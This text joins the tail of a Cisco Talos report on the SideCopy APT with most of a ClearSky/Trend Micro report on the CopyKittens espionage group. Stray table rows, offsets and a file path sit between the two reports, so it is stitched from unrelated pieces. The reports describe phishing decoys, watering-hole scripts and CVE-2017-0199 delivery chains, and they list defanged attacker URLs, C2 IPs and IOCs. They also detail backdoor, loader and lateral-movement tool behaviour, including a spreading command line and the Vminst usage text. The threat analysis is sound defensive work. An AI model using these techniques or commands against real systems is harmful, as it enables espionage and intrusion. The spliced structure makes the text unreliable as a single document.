The article is a Geo Strategic Scan from August 2020 discussing the political and economic implications of resuming diplomatic talks between the U.S. and China (Figure 34).
Figure 33: Decoy document related to the Indian Army.
Figure 34: Decoy document masquerading as a legitimate CENJOWS article.
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talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal More recently, an issue brief of the Observer Research Foundation (ORF, another independent think tank based out of India) was used as a decoy by SideCopy in an attack delivering njRAT to its victims (Figure 35).
Another attack from 2020 shows targeting of diplomatic personnel those working in embassies specifically.
The decoy document employed in this case consisted of a circular from the Indian Ministry of External Affairs (MEA) to its employees and attachees.
This infection chain also delivered Allakore and CetaRAT (Figure 36).
Besides all of these email campaigns weve outlined, SideCopy also uses honeytraps to lure victims in.
These infections typically consist of malicious LNK files that display explicit photos of women.
The infection chain again delivers CetaRAT and Allakore.
Weve also observed APT36 (Transparent Tribe) use these types of honeytraps extensively in campaigns targeting members of Indias military with CrimsonRAT.
Also like APT36, SideCopy clones legitimate websites that actually just serve malicious content.
In the case of SideCopy, we discovered afghannewsnetwork[.]
com, a website posing as the Pajhwok Afghan News, an Afghani independent news agency (Figure 37).
This website was used as a C2 for actionRAT, delivered using malicious LNKs that used decoy documents that looked like professional resumes - another targeting tactic closely resembling APT36 (Transparent Tribe).
Figure 36: Ministry of External Affairs Circular decoy document.
Figure 35: ORF decoy document used in njRAT infections.
page 22 of 23 2021 Cisco.
All rights reserved.
talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal CREDENTIAL HARVESTING One of SideCopys central motives is credential harvesting.
Specifically, the group looks to steal access credentials from central Indian government employees.
The group commonly targets Kavach, an MFA app used across Indias government.
Kavach allows employees (including military personnel) to access IT resources such as email services.
SideCopy has shown a particular interest in Kavach, deploying the njRAT malware with special victim IDs of kavach.
They also use GoLang-based file recon plugins (Nodachi) to exfiltrate Kavach authentication databases from infected devices.
Some droppers for MargulasRAT also masqueraded as installers for Kavach on Windows.
Weve also discovered phishing portals operated by SideCopy posing as the GoIs webmail to trick victims into divulging their email credentials (Figure 38).
Figure 37: (Left) malicious cloned website vs. (Right) Legitimate website for the Pajhwok Afghan News.
Figure 38: Phishing portal for webmail[.]gov[.
]in set up by SideCopy.
page 23 of 23 2021 Cisco.
All rights reserved.
talos-externalcisco.com talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal CONCLUSION What started as a simple infection vector by SideCopy to deliver a custom RAT (CetaRAT), has evolved into multiple variants of infection chains delivering several RATs.
The use of these many infection techniques ranging from LNK files to self-extracting RAR EXEs and MSI-based installers is an indication that the actor is aggressively working to infect their victims.
This threat actor is also rapidly evolving their malware set using a combination of custom and commodity RATs and plugins.
The variety of post-infection plugins specifically used by the attacker signifies a focus on espionage.
Targeting tactics used by SideCopy consists of multiple themes, quite similar to those utilized by APT36: military, diplomatic and honeytraps.
This indicates that the group continues to target government entities in the Indian subcontinent.
This boost in SideCopys operations aided by multiple infection chains, RATs and plugins marks the groups intent to rapidly evolve their TTPs.
COVERAGE Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
Cisco Secure Network/Cloud Analytics (Stealthwatch/ Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Ciscos secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.
Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
SIDs 57842 - 57849 can protect against the threats outlined in this paper.
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.
Product Protection Cisco Secure Endpoint (AMP for Endpoints) Cloudlock N/A Cisco Secure Email Cisco Secure Firewall/Secure IPS (Network Security) Cisco Secure Network Analytics (Stealthwatch) N/A Cisco Secure Cloud Analytics (Stealthwatch Cloud) N/A Cisco Secure Malware Analytics (Threat Grid) Umbrella Cisco Secure Web Appliance (Web Security Appliance)
Operation Wilted Tulip Exposing a cyber espionage apparatus ClearSky Cyber Security Trend Micro July 2017 Page 2 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Contents Introduction .......................................................................................................................................................... 3 Targetting ..................................................................................................................................................... 3 Malware ....................................................................................................................................................... 3 Targeting ............................................................................................................................................................... 4 Delivery and Infection .......................................................................................................................................... 5 Watering Hole Attacks ..................................................................................................................................... 5 Web-Based Exploitation ................................................................................................................................... 6 Malicious Documents ....................................................................................................................................... 7 Exploiting CVE-2017-0199 ............................................................................................................................ 7 Embedded OLE Objects..............................................................................................................................11 Malicious Macros .......................................................................................................................................15 Fake Social Media Entities ..............................................................................................................................16 Web Hacking ..................................................................................................................................................19 Infrastructure Analysis ........................................................................................................................................20 Domains .........................................................................................................................................................20 IPs ...................................................................................................................................................................24 Malware ..............................................................................................................................................................27 TDTESS Backdoor............................................................................................................................................27 Installation and removal ............................................................................................................................27 Functionality ..............................................................................................................................................29 Indicators of Compromise .........................................................................................................................30 Vminst for Lateral Movement ........................................................................................................................31 NetSrv Cobalt Strike Loader ........................................................................................................................32 Matryoshka v1 RAT .....................................................................................................................................33 Matreyoshka v2 RAT ...................................................................................................................................33 ZPP File Compressor ....................................................................................................................................35 Cobalt Strike ...................................................................................................................................................36 Metasploit ......................................................................................................................................................37 Empire Post-exploitation Framework ............................................................................................................38 Indicators of Compromise ..................................................................................................................................39 Page 3 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Introduction CopyKittens is a cyberespionage group that has been operating since at least 2013.
In November 2015, ClearSky and Minerva Labs published1 the first public report exposing its activity.
In March 2017, ClearSky published a second report2 exposing further incidents, some of which impacted the German Bundestag.
In this report, Trend Micro and ClearSky expose a vast espionage apparatus spanning the entire time the group has been active.
It includes recent incidents as well as older ones that have not been publicly reported new malware exploitation, delivery and command and control infrastructure and the groups modus operandi.
We dubbed this activity Operation Wilted Tulip Targetting CopyKittens is an active cyber espionage actor whose primary focus appears to be foreign espionage on strategic targets.
Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany.
Occasionally individuals in other countries are targeted as well as UN employees.
Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large IT companies.
Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks.
For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government organizations worldwide.
In a different case, a document likely stolen from the Turkish Ministry of Foreign affairs was used as decoy.
In other cases, Israeli embassies were targeted, as well as foreign embassies in Israel.
Victims are targeted by watering hole attacks, and emails with links to malicious websites or with malicious attachments.
Fake Facebook profiles have been used for spreading malicious links and building trust with targets.
Some of the profiles have been active for years.
Malware CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date, and are analyzed in this report: TDTESS backdoor Vminst, a lateral movement tool NetSrv, a Cobalt Strike loader and ZPP, a files compression console program.
The group also uses Matryoshka v1, a self- developed RAT analyzed by ClearSky in the 2015 report, and Matryoshka v2 which is a new version, albeit with similar functionality.
The group often uses the trial version of Cobalt Strike3, a publicly available commercial software for Adversary Simulations and Red Team Operations.
Other public tools used by the group are Metasploit, a well-known free and open source framework for developing and executing exploit code against a remote target machine Mimikatz, a post-exploitation tool that performs credential dumping and Empire, a PowerShell and Python post-exploitation agent.
For detection and exploitation of internet-facing web servers, CopyKittens use Havij, Acunetix and sqlmap.
A notable characteristic of CopyKittens is the use of DNS for command and control communication (CC) and for data exfiltration.
This feature is available both in Cobalt Strike and in Matryoshka.
Most of the infrastructure used by the group is in the U.S., Russia, and The Netherlands.
Some of it has been in use for more than two years.
1 www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ 2 www.clearskysec.com/copykitten-jpost/ 3 https://www.cobaltstrike.com http://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ http://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ http://www.clearskysec.com/copykitten-jpost/ http://www.clearskysec.com/copykitten-jpost/ https://www.cobaltstrike.com/ Page 4 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Targeting Based on Trend Micro Telemetry, incident response engagements, and open source threat intelligence investigations, we have learned of CopyKittens target organizations and countries.
Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany.
Occasionally individuals in other countries are targeted as well as UN employees.
Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large IT companies.
Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks.
For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government organizations worldwide.
In a different case, a document likely stolen from the Turkish Ministry of Foreign affairs was used as decoy.
In other cases, Israeli embassies were targeted, as well as foreign embassies in Israel.
Based on the size of the attack infrastructure and length of the campaign, we estimate that there have been at least a few hundred people infected in multiple organizations in the targeted countries.
After infecting a computer within a target organization, the attacker would move latterly using one of the malware descried in chapter Malware.
It seems that their objective is to gather as much information and data from target organizations as possible.
They would indiscriminately exfiltrate large amounts of documents, spreadsheets, file containing personal data, configuration files and databases.
In at least one case, the attackers breached an IT company, and used VPN access it had to client organizations to breach their networks.
Often, victim organizations would learn of the breach due to the non-stealthy behavior of the attackers.
The attackers would get greedy, infecting multiple computers within the network of breached organizations.
This would raise an alarm in various defense systems, making the victims initiate incident response operations.
Page 5 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Delivery and Infection CopyKittens attack their targets using the following methods: Watering hole attacks inserting malicious JavaScript code into breached strategic websites.
Web based exploitation emailing links to websites built by the attackers and containing known exploits.
Malicious documents email attachments containing weaponized Microsoft Office documents.
Fake social media entities fake personal and organizational Facebook pages are used for interaction with targets and for information gathering.
Web hacking Havij, Acuntix and sqlmap are used to detect and exploit internet-facing web servers.
These methods are elaborated below.
Watering Hole Attacks On 30 March 2017, ClearSky reported a breach of multiple websites, such as Jerusalem Post, Maariv news and the IDF Disabled Veterans Organization website.4 JavaScript code was inserted into the breached websites, loading BeEF (Browser Exploitation Framework) from domains owned by the attackers .5 For example: Malicious code added to Maariv website The malicious code was loaded from one of the following addresses: https://js.jguery[.
]net/jquery.min.js https://js.jguery[.
]online/jgueryui.min.js This would enable the attackers to perform actions such as browser fingerprinting and information gathering, social engineering attacks (like asking for credentials, redirect to another page, asking the user to install a malicious extension or malware), network reconnaissance, infecting the computer using Metasploit exploits, and more.6 The malicious code was served only when specific targets visited the website, likely based on IP whitelisting.
Notably, prior to that publication, the German Federal Office for Information Security (BSI) said in a statement that it had investigated problems in network traffic of the German Bundestag.7 The statement concluded that the website of Israeli newspaper Jerusalem Post was manipulated and linked to a harmful third party in January 2017.
4 www.clearskysec.com/copykitten-jpost 5 http://beefproject.com 6 https://github.com/beefproject/beef/wiki 7 https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber- Angriff_auf_den_Bundestag_Stellungnahme_29032017.html http://www.clearskysec.com/copykitten-jpost/ http://www.clearskysec.com/copykitten-jpost/ http://beefproject.com/ http://beefproject.com/ https://github.com/beefproject/beef/wiki https://github.com/beefproject/beef/wiki https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber-Angriff_auf_den_Bundestag_Stellungnahme_29032017.html https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber-Angriff_auf_den_Bundestag_Stellungnahme_29032017.html https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Cyber-Angriff_auf_den_Bundestag_Stellungnahme_29032017.html Page 6 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Web-Based Exploitation In two incidents, the attackers breached the mailbox of a person related to a target organization.
From this (real) account, they replied to previous correspondences with these organizations, adding a malicious link to a website registered and built by attackers: primeminister-goverment-techcenter].
[tech.
8 JavaScript code, at least parts of which were copied from public sources, fingerprinted the visitors web browser.9 This was likely used for later browser exploitation with known vulnerabilities.
In some pages the code enumerates and collects a list of installed browser plugins, in others it tries to detect the real IP of the computer: Browser Plugins enumeration via JavaScipt code Internal IP detection with Java The data is sent to the attackers, and the victim is redirected to https://akamitechnology[.]com/.
Collected data sent to server, then redirecting to new domain 8 https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack- infrastructure 9 https://gist.github.com/kou1okada/2356972 https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/ https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/ https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/ https://gist.github.com/kou1okada/2356972 https://gist.github.com/kou1okada/2356972 Page 7 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 JavaScript and Java code loaded into webpage, victim is redirected after 20 seconds Malicious Documents The attackers use three document based exploitation types: exploiting CVE-2017-0199, embedding OLE objects, and macros.
If the victim opens a document and the exploitation is successful (in the latter two, user interaction might be required), the attackers would receive access to the computer via self-developed or publicly available malware (see Malware chapter for more details).
Exploiting CVE-2017-0199 On 26 April 2017, a malicious email was sent from an employee account that was likely breached within the Ministry of Northern Cyprus.
It was sent to a disclosed recipients list in government institutions in several countries and other organizations, mostly in or related to ministries of foreign affairs.
We should note, however, that it is possible that the attackers were interested only in a few of the recipient organizations, but sent it to a wider list because they showed up in previous correspondences in the breached account.
Recipients were in the following domains: mofa.gov.vn mfa.gov.sg mfa.gov.tr post.mfa.uz mfa.am mfa.gov.by beijing.mfa.gov.il mofat.go.kr mfa.no athens.mfa.gov.il riga.mfa.sk amfam.com emfa.pt mfa.gov.il mfa.gov.mk bu.edu us.mufg.jp cyburguide.com newdelhi.mfa.gov.il hemofarm.co.yu mfat.govt.nz mfa.gr mfa.gov.lv mfa.gov.ua mfa.go.th mfa.gov.bn mfa.ee sbcglobal.net mfa.is Page 8 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The email is presented below:10 Redacted version of the malicious email sent form the Ministry of Foreign Affairs in the Turkish Republic of Northern Cyprus Attached to it was a document named IRAN_NORTH-KOREA_Russia 20170420.docx.11 Content of the malicious document The document exploited CVE-2017-0199, downloading an rtf file from: update.microsoft-office[.
]solutions/license.doc The rtf file loads a VBA script from: http://38.130.75[.
]20/check.html 10 https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ 11 https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/ https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis Page 9 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Which runs a Cobalt Strike stager that communicates with: aaa.stage.14043411.email.sharepoint-microsoft[.
]co In another case, the following document was uploaded to VirusTotal from Israel:12 The North Korean weapons program now testing USA range.docx Content of the malicious document and a prompt that opens when external links are updated It downloads an rtf document from: http://update.microsoft-office[.
]solutions/license.doc This downloads VBA code that runs a Cobalt Strike stager from the following addresses: http://38.130.75[.
]20/error.html Pivoting from update.microsoft-office[.
]solutions, we found diagnose.microsoft-office[.
]solutions, which pointed to 5.34.181.13.
Using PassiveTotal we found 40.dc.c0ad.ip4.dyn.gsvr-static[.
]co.
Googling for gsvr- static[.
]co, we found another sample, gpupdate.bat, which runs PowerShell code that extracts a Cobalt Strike stager.13: Base64 encoded PowerShell code that loads Cobalt Strike stager 12 https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis 13 https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8 https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8?environmentId100 https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8?environmentId100 Page 10 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 The sample communicates with gsvr-static[.
]co via DNS.
DNS requests performed by the sample Yet in another case, malicious documents named omnews.doc and pictures.doc were served from the following locations: http://fetchnews-agency.news-bbc[.
]press/en/20170/pictures.doc http://fetchnews-agency.news-bbc[.
]press/omnews.doc The files load VBS from the following address: http://fetchnews-agency.news-bbc[.
|
115
|
AS46562 107.181.160.138 Cobalt Strike United States Total Server Solutions L.L.C.
| 26,904
| 26,942
| 39
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data/reports_final/0115.txt
|
AS46562 107.181.160.138 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.178 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.194 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.195 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.161.141 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.21 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.228 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.232 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.241 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 86.105.18.5 Cobalt Strike Netherlands WorldStream B.V. AS49981 93.190.138.137 NA Netherlands WorldStream B.V. AS49981 212.199.61.51 Cobalt Strike Israel 012 Smile Communications LTD.
AS9116 80.179.42.37 NA Israel 012 Smile Communications LTD.
AS9116 80.179.42.44 NA Israel 012 Smile Communications LTD.
AS9116 Page 26 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Recently the attackers implemented self-signed certificates in some of the severs they manage, impersonating Microsoft and Google.37 Self-signed digital certificate impersonating Microsoft as captured by censys.io 37 https://censys.io/certificates/f4aaac7d6aafc426d1adbe3b845a26c4110f7c9e54145444a8668718b84cbdb0 https://censys.io/certificates/f4aaac7d6aafc426d1adbe3b845a26c4110f7c9e54145444a8668718b84cbdb0 Page 27 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Malware In this chapter we analyze and review malware used by CopyKittens.
TDTESS Backdoor TDTESS (22fd59c534b9b8f5cd69e967cc51de098627b582) is 64-bit .NET binary backdoor that provides a reverse shell with an option to download and execute files.
It routinely calls in to the command and control server for new instructions using basic authentication.
Commands are sent via a web page.
The malware creates a stealth service, which will not show on the service manager or other tools that enumerate services from WINAPI or Windows Management Instrumentation.
Installation and removal TDTESS can run as either an interactive or non-interactive (service) program.
When called interactively, it receives one of the two arguments: installtheservice to install itself or uninstalltheservice to remove itself.
The arguments are described below: installtheservice If running with administrator privileges, it will install a service with the following characteristics: Key name: bmwappushservice Display name: bmwappushsvc Description: WAP Push Message Routing Service Type: own (runs in its own process) Start type: auto (starts each time the computer is restarted and runs even if no one logs on to the computer) Path: main executable path (In our analysis: c:\Users\PC008\Desktop\t.exe) Security descriptor: D:(DDCLCWPDTSDIU)(DDCLCWPDTSDSU)(DDCLCWPDTSDBA)(ACCLCSWLOCRRCIU)(ACCLC SWLOCRRCSU)(ACCLCSWRPWPDTLOCRRCSY)(ACCDCLCSWRPWPDTLOCRSDRCWDWOBA)S:(AUF ACCDCLCSWRPWPDTLOCRSDRCWDWOWD) Service information from command-line using sc tool The hardcoded security descriptor used to create the service is a persistence technique.
Interactive users, even if they are administrators, cannot stop or even see the service in services.msc snap-in.
Page 28 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Following is a list of denied commands: service_change_config service_query_status service_stop service_pause_continue delete Service information in Registry Two log files are created during the service installation, but deleted by the program.
Following is their recovered content: InstallUtil.
InstallLog filename.t.
InstallLog After creating the service, it will update the file creation time to that of the following file: windir\system32\svchost.exe Page 29 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 uninstalltheservice If running with administrator privileges, it will uninstall the said service, create log files and then deletes them.
InstallUtil.
InstallLog filename.t.
InstallLog Because the service installing mechanism appears to be default for .NET programs, the creator of the tool deletes the log files right after they are created.
If no argument is given when called interactively, the program terminates itself.
Functionality The service is started immediately after installation.
After five minutes, it verifies internet connectivity by making a HTTP HEAD request to microsoft.com.
Then it tries to access the CC servers looking for commands.
Hardcoded HTTP parameters and URL Page 30 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 As a reply, TDTESS expects one of the following Bas64 encoded commands: getnrun - download and execute a file.
Parameters are drop, drop_path and t. runnreport - send information about the computer.
Parameters are cmd and boss.
wait - time to next interval to get data.
Getnrun command and parameters Indicators of Compromise File name: tdtess.exe md5: 113ca319e85778b62145019359380a08 Services: bmwappushservice Registry Keys: HKLM\System\CurrentControlSet\Services\bmwappushservice URLs: http://is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.
]com/deploy/assets/css/main/style.min.css http://a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.
]net/deploy/assets/css/main/style.min.css HTTP artifacts: User-Agent : XXXXXXXXXXXXXXXXX/5.0 (Windows NT 6.1 WOW64 Trident/7.0 AS rv:11.0) like Gecko Proxy-Authorization : Basic [Data] [Data] Will contain the TDTESS encrypted data to send Page 31 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Vminst for Lateral Movement Vminst (a60a32f21ac1a2ec33135a650aa8dc71) is a lateral movement tool used to infect hosts in the network using previously stolen credentials.
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116
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It Injects Cobalt Strike into memory of infected hosts.
| 26,943
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data/reports_final/0116.txt
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It Injects Cobalt Strike into memory of infected hosts.
The binary implements ServiceMain and is intended to be installed as a service named sdrsrv.
When it functions as a service, it injects Cobalt Strike beacon into its own process (which is 32-bit svchost) or creates a new 32-bit rundll32 process and injects the beacon into the new process.
The injection method depends on the parameter received when the service was created.
It is configured to open a new rundll32 process in suspend-mode and create a remote thread which executes a Cobalt Strike beacon or shellcode.
The binary has the option to run and load itself in memory.
It also has the option to be executed through its exported function v, which gets a base64 string parameter built as follows: Base-64-Encode(/mv /OptionalCommand) OptionalCommand can be one of the following: help - prints usage instructions: [] /help V160\n Get : Create Service and run beacon over self thread\n [] /get ip (use current token)\n [] /get ip domain user pass\n [] /get ip user pass\n New : Create Service and run beacon over new rundll32.exe thread\n [] /new ip (use current token)\n [] /new ip domain user pass\n [] /new ip user pass\n [] /new ip user pass\n Del : Delete service and related dlls from remote host [] /del ip domain user pass\n [] /del ip user pass\n [] /del ip\n Run : Run a new beacon \n [] /run [no arguments] del - stops and deletes the service sdrsrv, and deletes the following files: \\ [IP or computer name (Can be Localhost)]\C\Users\public\vminst.tmp \\ [IP or computer name (Can be Localhost)]\C\Windows\Temp\vminst.tmp \\ [IP or computer name (Can be Localhost)]\C\Windows\vminst.tmp scan - sends [ok] to the parent of its parent process.
info - sends [ok] to the parent of its parent process.
run - injects a beacon into a new rundll32 process.
get - gets an IP address, installs and starts the sdrsrv service in the remote hosts.
new - gets IP address, deletes the old vminst from install path, and installs the sdrsrv service in the remote hosts.
Then, starts the service with parameter NEW_THREAD that runs the service.
This command is likely used for updating the implant.
The attacker uses vminst.tmp to spread across the organization.
Using the command rundll32 vminst.tmp,v /mv /get ip-segment credentials it enumerates the segments and tries to connect to the hosts through SMB (GetFileAttributes to network path), installing the sdrsrv service in each host it can access.
Page 32 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise File name: vminst.tmp md5: A60A32F21AC1A2EC33135A650AA8DC71 Services: sdrsrv Registry Keys: HKLM\System\CurrentControlSet\Services\sdrsrv Path: \\ [IP or computer name (Can be Localhost)]\C\Users\public\[File] \\ [IP or computer name (Can be Localhost)]\C\Windows\Temp\[File] \\ [IP or computer name (Can be Localhost)]\C\Windows\[File] File, one of: vminst.tmp - The malware l.tmp - Log file from last V command NetSrv Cobalt Strike Loader NetSrv (efca6664ad6d29d2df5aaecf99024892) loads Cobalt Strike beacons and shellcodes in infected computers.
The binary implements ServiceMain, intended to be installed as a service named netsrv.
When it functions as a service, it is configured to open a new rundll32 process in suspend-mode and create a remote thread that executes a Cobalt Strike beacon or shellcode.
The binary also has the option to be executed with parameters that determine what it will inject into the rundll32 process.
The command-line is as follows: netsrv.exe /managed /ModuleToInject The ModuleToInject can be one of these options: sbdns slbdnsk1 slbdnsn1 slbsbmn1 slbsmbk1 Each of these options injects a Cobalt Strike beacon or shellcode into the rundll32 process.
Indicators of Compromise File names: netsrv.exe netsrva.exe netsrvd.exe netsrvs.exe Services: netsrv netsrvs netsrvd Registry Keys: HKLM\System\CurrentControlSet\Services\netsrv HKLM\System\CurrentControlSet\Services\netsrvs Page 33 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 HKLM\System\CurrentControlSet\Services\netsrvd Matryoshka v1 RAT Matryoshka v1 is a RAT analyzed in the 2015 report by ClearSky and Minerva.38 It uses DNS for command and control communication, and has common RAT capabilities such as stealing Outlook passwords, screen grabbing, keylogging, collecting and uploading files, and giving the attacker Meterpreter shell access.
We have seen this version of Matreyoshka in the wild from July 2016 until January 2017.
The Matryoshka.
Reflective_Loader injects the module Matryoshka.
Rat, which has the same persistence keys and communication method described in the original report.
Indicators of Compromise File name Md5 Command and control Kernel.dll 94ba33696cd6ffd6335948a752ec9c19 cloudflare-statics[.
]com win.dll d9aa197ca2f01a66df248c7a8b582c40 cloudflare-analyse[.
]com update5x.dll 22092014_ver621.dll 506415ef517b4b1f7679b3664ad399e1 1ca03f92f71d5ecb5dbf71b14d48495c mswordupdate17[.
]com Registry Keys: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\0355F5D0-467C-30E9-894C- C2FAEF522A13 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\0355F5D0-467C-30E9-894C-C2FAEF522A13 Scheduled Tasks: \Windows\Microsoft Boost Kernel Optimization Windows Boost Kernel Matreyoshka v2 RAT Matryoshka v2 (bd38cab32b3b8b64e5d5d3df36f7c55a) is mostly like Matreyoshka v1 but has fewer commands and a few other minor changes.
Upon starting it will inject the communication module to all available processes (with the same run architecture and the same or lower level of permission).
The inner name of Svchosts is Injector.dll.
The next stage, in memory, is ReflectiveDLL.dll.
The ReflectiveDLL.dll provides persistence via a schedule task and checks that the stager, Injector.dll, exist on disk.
ReflectiveDLL.dll gets commands via the following DNS resolutions: Functionality Resolved IP Command Send host information 104.40.211.100 Send full info Inject Cobalt Strike beacon 104.40.211.11 Beacon Pop MessageBox with simple note (Only if injected into process with user interface) 104.40.211.12 MessageBox Send UID 104.40.211.13 Get UID Exit the process the thread was injected into 104.40.211.14 Exit keep-alive or end chain of commands 161.69.29.251 OK_StopParse 38 www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ http://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ Page 34 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise File names: Svchost32.swp Svchost64.swp Md5: bd38cab32b3b8b64e5d5d3df36f7c55a Folder path: [windrive]\Users\public\ [windrive]\Windows\temp\ [windrive]\Windows\tmp\ Files: LogManager.tmp edg1CF5.tmp (malware backup copy) ntuser.swp (malware backup copy) svchost64.swp (malware main file) ntuser.dat.swp (log file) 455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction (folder) _d.klg (keylog file, random integer) _d.sc (screen capture file, random integer) Command and control: winupdate64[.
]com Services: sdrsrv Class from CPP RTTI: PSCL_CLASS_JOB_SAVE_CONFIG PSCL_CLASS_BASE_JOB Page 35 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 ZPP File Compressor ZPP (bcae706c00e07936fc41ac47d671fc40) is a .NET console program that compresses files with the ZIP algorithm.
It can transfer compressed files to a remote network share.
Command line options are as follows: -I - File extension to compress (i.e.
: .txt) -s - Source directory -d - Destination directory -gt - Greater than creation timestamp -lt - Lower than creation timestamp -mb - Unimplemented -o - Output file name -e - File extension to skip (except) ZPP ZPP will recursively read all files in the source directory to compress them with the maximum compression rate if their names match the extension pattern given (-i).
The compressed ZIP file is written to the output directory (-d).
If no output file name is set, ZPP will use the mask zpprandom_number.out.
file_number.
For example: Filename is zpp5077.out0 The file compilation timestamp is Tue, 05 Jul 2016 17:22:59 UTC.
